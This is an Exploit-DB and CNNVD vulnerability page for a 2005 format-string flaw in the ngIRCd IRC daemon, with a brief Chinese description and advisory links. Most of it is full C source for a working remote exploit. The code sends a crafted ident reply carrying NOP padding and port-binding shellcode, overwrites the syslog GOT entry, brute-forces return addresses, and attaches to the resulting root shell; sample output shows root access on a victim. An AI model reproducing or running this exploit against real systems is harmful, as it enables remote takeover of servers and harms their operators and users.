https://www.exploit-db.com/exploits/784
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200502-004

ngIRCd是德国程序员AlexanderBarton所研发的一款可在多平台上使用的IRC守护程序。ngIRCd中log.c的Log_Resolver()函数存在一个格式串问题，远程攻击者可以利用这个漏洞可能以守护进程权限在系统上执行任意指令。

/* ngircd_fsexp.c
*
* ngIRCd <= 0.8.2 remote format string exploit
*
* Note:
* To obtain a successful exploitation, we need that
* ngIRCd has been compiled with IDENT, logging to 
* SYSLOG and DEBUG enabled.
*
* Original Reference:
* http://www.nosystem.com.ar/advisories/advisory-11.txt
*
* root@servidor:/home/coki/audit# ./ngircd_fsexp
*
* ngIRCd <= 0.8.2 remote format string exploit
* by CoKi <[email protected]>
*
* Use: ./ngircd_fsexp -h <host> [options]
*
* options:
* -h <arg> host or IP
* -p <arg> ircd port (by default 6667)
* -t <arg> type of target system
* -g <arg> syslog GOT address
* -o <arg> offset (RET addr by default 0x0806b000)
* -b brutefoce the RET address
* (from 0x0806b000 + offset)
* -l targets list
*
* root@servidor:/home/coki/audit# ./ngircd_fsexp -h victim -t 1 -o 10000
*
* ngIRCd <= 0.8.2 remote format string exploit
* by CoKi <[email protected]>
*
* [*] host : victim
* [*] system : Slackware Linux 10.0
* [*] ircd version : ngircd-0.8.2.tar.gz
* [*] syslog GOT address : 0x08068094
* [*] verifying host : 10.0.0.2
*
* [*] trying RET address : 0x0806d710 (offset 10000)
* [*] building evil buffer : done!
* [*] running fake ident server : 0.0.0.0:113
* 
* [*] connecting to ircd... : 10.0.0.2:6667 connected
* [*] waiting for answer... : 10.0.0.1:43260 connected
* [*] sending evil ident... : done!
* [*] checking for shell... : done!
*
* [!] you have a shell :)
*
* Linux victim 2.4.26 #29 Mon Jun 14 19:22:30 PDT 2004 i686 unknown unknown GNU/Linux
* uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy)
*
*
* by CoKi <[email protected]>
* No System Group - http://www.nosystem.com.ar
*/

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <getopt.h>
#include <netdb.h>
#include <sys/types.h>
#include <sys/fcntl.h>
#include <netinet/in.h>
#include <sys/socket.h>

#define IDENTD 113
#define BUFFERSIZE 1024
#define ERROR -1
#define TIMEOUT 3
#define SHELL 5074
#define IRCD 6667

int connect_timeout(int sfd, struct sockaddr *serv_addr,
socklen_t addrlen, int timeout);
int check(unsigned long addr);
void use(char *program);
void printlist(void);
void shell(char *host, int port);
void exploit(char *host, int gotaddr, int retaddr, int ircdport);

char shellcode[] = /* 92 bytes by s0t4ipv6 */
"x31xc0" // xorl %eax,%eax
"x50" // pushl %eax
"x40" // incl %eax
"x89xc3" // movl %eax,%ebx
"x50" // pushl %eax
"x40" // incl %eax
"x50" // pushl %eax
"x89xe1" // movl %esp,%ecx
"xb0x66" // movb $0x66,%al
"xcdx80" // int $0x80
"x31xd2" // xorl %edx,%edx
"x52" // pushl %edx
"x66x68x13xd2" // pushw $0xd213
"x43" // incl %ebx
"x66x53" // pushw %bx
"x89xe1" // movl %esp,%ecx
"x6ax10" // pushl $0x10
"x51" // pushl %ecx
"x50" // pushl %eax
"x89xe1" // movl %esp,%ecx
"xb0x66" // movb $0x66,%al
"xcdx80" // int $0x80
"x40" // incl %eax
"x89x44x24x04" // movl %eax,0x4(%esp,1)
"x43" // incl %ebx
"x43" // incl %ebx
"xb0x66" // movb $0x66,%al
"xcdx80" // int $0x80
"x83xc4x0c" // addl $0xc,%esp
"x52" // pushl %edx
"x52" // pushl %edx
"x43" // incl %ebx
"xb0x66" // movb $0x66,%al
"xcdx80" // int $0x80
"x93" // xchgl %eax,%ebx
"x89xd1" // movl %edx,%ecx
"xb0x3f" // movb $0x3f,%al
"xcdx80" // int $0x80
"x41" // incl %ecx
"x80xf9x03" // cmpb $0x3,%cl
"x75xf6" // jnz <shellcode+0x40>
"x52" // pushl %edx
"x68x6ex2fx73x68" // pushl $0x68732f6e
"x68x2fx2fx62x69" // pushl $0x69622f2f
"x89xe3" // movl %esp,%ebx
"x52" // pushl %edx
"x53" // pushl %ebx
"x89xe1" // movl %esp,%ecx
"xb0x0b" // movb $0xb,%al
"xcdx80" // int $0x80
;

struct {
int num;
char *os;
char *ircd;
int got;
}targets[] = {
1, "Slackware Linux 10.0", "ngircd-0.8.1.tar.gz", 0x080680d4,
2, "Slackware Linux 10.0", "ngircd-0.8.2.tar.gz", 0x08068094,
3, "Slackware Linux 9.0", "ngircd-0.8.1.tar.gz", 0x080662b4,
4, "Slackware Linux 9.0", "ngircd-0.8.2.tar.gz", 0x08066294
};

static int b=0;

int main(int argc, char *argv[])
{
char opt, *host=NULL, *system=NULL, *ircd=NULL;
int i, ircdport=IRCD;
int retaddr=0x0806b000, gotaddr=0, targetnum=0, offset=0;
struct hostent *he;

printf("n ngIRCd <= 0.8.2 remote format string exploitn");
printf(" by CoKi <[email protected]>nn");

while((opt = getopt(argc,argv,"h:g:t:lo:bp:")) != EOF) {
switch (opt) {
case 'h':
host = optarg;
break;
case 'g':
gotaddr = strtoul(optarg,NULL,0);
system = "unknown";
ircd = "unknown";
break;
case 't':
targetnum = atoi(optarg)-1;
if(targets[targetnum].num) { 
system = targets[targetnum].os;
ircd = targets[targetnum].ircd;
gotaddr = targets[targetnum].got;
}
else use(argv[0]);
break;
case 'l':
printlist();
break;
case 'o':
offset = atoi(optarg);
retaddr += offset;
break;
case 'b':
b = 1;
break;
case 'p':
ircdport = atoi(optarg);
break;
default:
use(argv[0]);
break;
}
}

if(host == NULL) use(argv[0]);
if(gotaddr == 0) use(argv[0]);
if(system == NULL) {
system = "unknown";
ircd = "unknown";
}

printf(" [*] hostttt: %sn", host);
printf(" [*] systemttt: %sn", system);
printf(" [*] ircd versiontt: %sn", ircd);
printf(" [*] syslog GOT addresstt: %010pn", gotaddr);
printf(" [*] verifying hosttt:");
fflush(stdout);

if((he=gethostbyname(host)) == NULL) {
herror(" gethostbyname()");
printf("n");
exit(1);
}

printf(" %snn", inet_ntoa(*((struct in_addr *)he->h_addr)));

/* bruteforce mode */
if(b) {
for(i = retaddr; i <= 0x0806ffff; i += 0x10) {
printf(" [*] bruteforcing RET addresst: %010p", i);
fflush(stdout);
exploit(host, gotaddr, i, ircdport);
}

printf("n [*] failed!nn");
}

/* single mode */
else {
printf(" [*] trying RET addresstt: %010p", retaddr);
fflush(stdout);
if(offset) printf(" (offset %d)n", offset);
else printf("n");
exploit(host, gotaddr, retaddr, ircdport);
}
}

void exploit(char *host, int gotaddr, int retaddr, int ircdport) {
char ident[BUFFERSIZE], temp[BUFFERSIZE], recvbuf[BUFFERSIZE];
int sock, newsock, sockfd, i, reuseaddr=1;
unsigned int bal1, bal2, bal3, bal4;
int cn1, cn2, cn3, cn4;
struct sockaddr_in dest_dir;
struct sockaddr_in remoteaddr;
struct sockaddr_in localaddr;
int addrlen = sizeof(struct sockaddr_in);
struct hostent *he;

if((he=gethostbyname(host)) == NULL) {
herror(" gethostbyname()");
printf("n");
exit(1);
}

/* building evil buffer */
if(!b) {
printf(" [*] building evil buffert:");
fflush(stdout);
}

sprintf(ident, "0 , 0 : USERID : OTHER :");

/* adding GOT address */
for(i = 0; i < 4; i++) {
bzero(temp, sizeof(temp));
sprintf(temp, "%s", &gotaddr);
strncat(ident, temp, 4);
gotaddr++;
}

bal1 = (retaddr & 0xff000000) >> 24;
bal2 = (retaddr & 0x00ff0000) >> 16;
bal3 = (retaddr & 0x0000ff00) >> 8;
bal4 = (retaddr & 0x000000ff);

cn1 = bal4 - 16 - 36 - 70 - 92;
cn1 = check(cn1);
cn2 = bal3 - bal4;
cn2 = check(cn2);
cn3 = bal2 - bal3;
cn3 = check(cn3);
cn4 = bal1 - bal2;
cn4 = check(cn4);

/* adding NOP's */
memset(temp, 'x90', 70);
strcat(ident, temp);
bzero(temp, sizeof(temp));

/* adding shellcode */
strcat(ident, shellcode);

/* adding format string */
sprintf(temp, "%%%du%%12$n%%%du%%13$n%%%du%%14$n%%%du%%15$n", cn1, 
cn2, cn3, cn4);

strcat(ident, temp);

strcat(ident, "n");

/* running fake identd */
if(!b) {
printf(" done!n");
printf(" [*] running fake ident servert:");
fflush(stdout);
}

localaddr.sin_family = AF_INET;
localaddr.sin_port = htons(IDENTD);
localaddr.sin_addr.s_addr = INADDR_ANY;
bzero(&(localaddr.sin_zero), 8);

if ((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
perror(" socket()");
printf("n");
exit(1);
}

if (setsockopt(sock, SOL_SOCKET, SO_REUSEADDR, &reuseaddr,
(socklen_t)sizeof(reuseaddr)) < 0) {
perror(" setsockopt()");
printf("n");
exit(1);
}

if (bind(sock, (struct sockaddr *)&localaddr, sizeof(localaddr)) < 0) 
{
perror(" bind()");
printf("n");
exit(1);
}

if (listen(sock, 1) < 0) {
perror(" listen()");
printf("n");
exit(1);
}

/* connecting to ircd */
if(!b) {
printf(" %s:%unn", inet_ntoa(localaddr.sin_addr), 
ntohs(localaddr.sin_port));
printf(" [*] connecting to ircd...t:");
fflush(stdout);
}

if((sockfd=socket(AF_INET, SOCK_STREAM, 0)) == ERROR) {
perror(" socket");
printf("n");
exit(1);
}

dest_dir.sin_family = AF_INET;
dest_dir.sin_port = htons(ircdport);
dest_dir.sin_addr = *((struct in_addr *)he->h_addr);
bzero(&(dest_dir.sin_zero), 8);

if(connect_timeout(sockfd, (struct sockaddr *)&dest_dir,
sizeof(struct sockaddr), TIMEOUT) == ERROR) {

printf(" closednn");
exit(1);
}

/* waiting for answer */
if(!b) {
printf(" %s:%u connectedn", inet_ntoa(dest_dir.sin_addr), 
ntohs(dest_dir.sin_port));
printf(" [*] waiting for answer...t:");
fflush(stdout);
}

if ((newsock = accept(sock, (struct sockaddr *)&remoteaddr, &addrlen)) 
< 0) {
perror(" accept()");
printf("n");
exit(1);
}

if (getpeername(newsock, (struct sockaddr *)&remoteaddr, &addrlen) < 
0) {
perror(" getpeername()");
printf("n");
exit(1);
}

if (read(newsock, recvbuf, sizeof(recvbuf)) <= 0) {
perror(" read()");
printf("n");
exit(1);
}

if(!b) {
printf(" %s:%u connectedn", inet_ntoa(remoteaddr.sin_addr), 
ntohs(remoteaddr.sin_port));
fflush(stdout);

/* sending evil ident */
printf(" [*] sending evil ident...t:");
fflush(stdout);
}

if (write(newsock, ident, strlen(ident)) <= 0) {
perror(" write()");
printf("n");
exit(1);
}

close(sock);
close(newsock);
close(sockfd);

if(!b) {
printf(" done!n");
fflush(stdout);

/* checking for shell */
printf(" [*] checking for shell...t:");
fflush(stdout);
}

shell(host, SHELL);
}

void shell(char *host, int port) {
int sockfd, n;
char buff[BUFFERSIZE], *command = "uname -a; id;n";
fd_set readfs;
struct hostent *he;
struct sockaddr_in dest_dir;

if((he=gethostbyname(host)) == NULL) {
herror(" gethostbyname()");
printf("n");
exit(1);
}

if((sockfd=socket(AF_INET, SOCK_STREAM, 0)) == ERROR) {
perror(" socket()");
printf("n");
exit(1);
}

dest_dir.sin_family = AF_INET;
dest_dir.sin_port = htons(port);
dest_dir.sin_addr = *((struct in_addr *)he->h_addr);
bzero(&(dest_dir.sin_zero), 8);

if(connect_timeout(sockfd, (struct sockaddr *)&dest_dir,
sizeof(struct sockaddr), TIMEOUT) == ERROR) {

if(b) {
printf("rr");
return;
}

else {
printf(" done!nn");
printf(" [!] failed!nn");
exit(1);
}
}

if(!b) {
printf(" done!");
fflush(stdout);
}

printf("nn [!] you have a shell :)nn");
fflush(stdout);

send(sockfd, command, strlen(command), 0);

while(1) {
FD_ZERO(&readfs);
FD_SET(0, &readfs);
FD_SET(sockfd, &readfs);
if(select(sockfd+1, &readfs, NULL, NULL, NULL) < 1) exit(0);
if(FD_ISSET(0,&readfs)) {
if((n = read(0,buff,sizeof(buff))) < 1)
exit(0);
if(send(sockfd, buff, n, 0) != n) exit(0);
}
if(FD_ISSET(sockfd,&readfs)) {
if((n = recv(sockfd, buff, sizeof(buff), 0)) < 1) exit(0);
write(1, buff, n);
}
}
}

int connect_timeout(int sfd, struct sockaddr *serv_addr,
socklen_t addrlen, int timeout) {

int res, slen, flags;
struct timeval tv;
struct sockaddr_in addr;
fd_set rdf, wrf;

fcntl(sfd, F_SETFL, O_NONBLOCK);

res = connect(sfd, serv_addr, addrlen);

if (res >= 0) return res;

FD_ZERO(&rdf);
FD_ZERO(&wrf);

FD_SET(sfd, &rdf);
FD_SET(sfd, &wrf);
bzero(&tv, sizeof(tv));
tv.tv_sec = timeout;

if (select(sfd + 1, &rdf, &wrf, 0, &tv) <= 0)
return -1;

if (FD_ISSET(sfd, &wrf) || FD_ISSET(sfd, &rdf)) {
slen = sizeof(addr);
if (getpeername(sfd, (struct sockaddr*)&addr, &slen) == -1)
return -1;

flags = fcntl(sfd, F_GETFL, NULL);
fcntl(sfd, F_SETFL, flags & ~O_NONBLOCK);

return 0;
}

return -1;
}

int check(unsigned long addr) {
char tmp[128];
snprintf(tmp, sizeof(tmp), "%d", addr);
if(atoi(tmp) < 5)
addr = addr + 256;

return addr;
}

void use(char *program) {
printf(" Use: %s -h <host> [options]n", program);
printf("n options:n");
printf(" -h <arg> host or IPn");
printf(" -p <arg> ircd port (by default 6667)n");
printf(" -t <arg> type of target systemn");
printf(" -g <arg> syslog GOT addressn");
printf(" -o <arg> offset (RET addr by default 
0x0806b000)n");
printf(" -b brutefoce the RET addressn");
printf(" (from 0x0806b000 + offset)n");
printf(" -l targets listnn");
exit(1);
}

void printlist(void) {
int i=0;

printf(" targetsn");
printf(" -------nn");

while(targets[i].num) {
printf(" [%d] %s [%s]n", targets[i].num, targets[i].os, 
targets[i].ircd);
i++;
}

printf("n");
exit(0);
}

// milw0rm.com [2005-02-03]

来源:MISC
链接:http://www.nosystem.com.ar/advisories/advisory-11.txt
来源:SECUNIA
名称:14114
链接:http://secunia.com/advisories/14114/
来源:BUGTRAQ
名称:20050203ngIRCd<=v0.8.2FormatStringVulnerability
链接:http://marc.theaimsgroup.com/?l=bugtraq&m;=110746413108183&w;=2
来源:BID
名称:12434
链接:http://www.securityfocus.com/bid/12434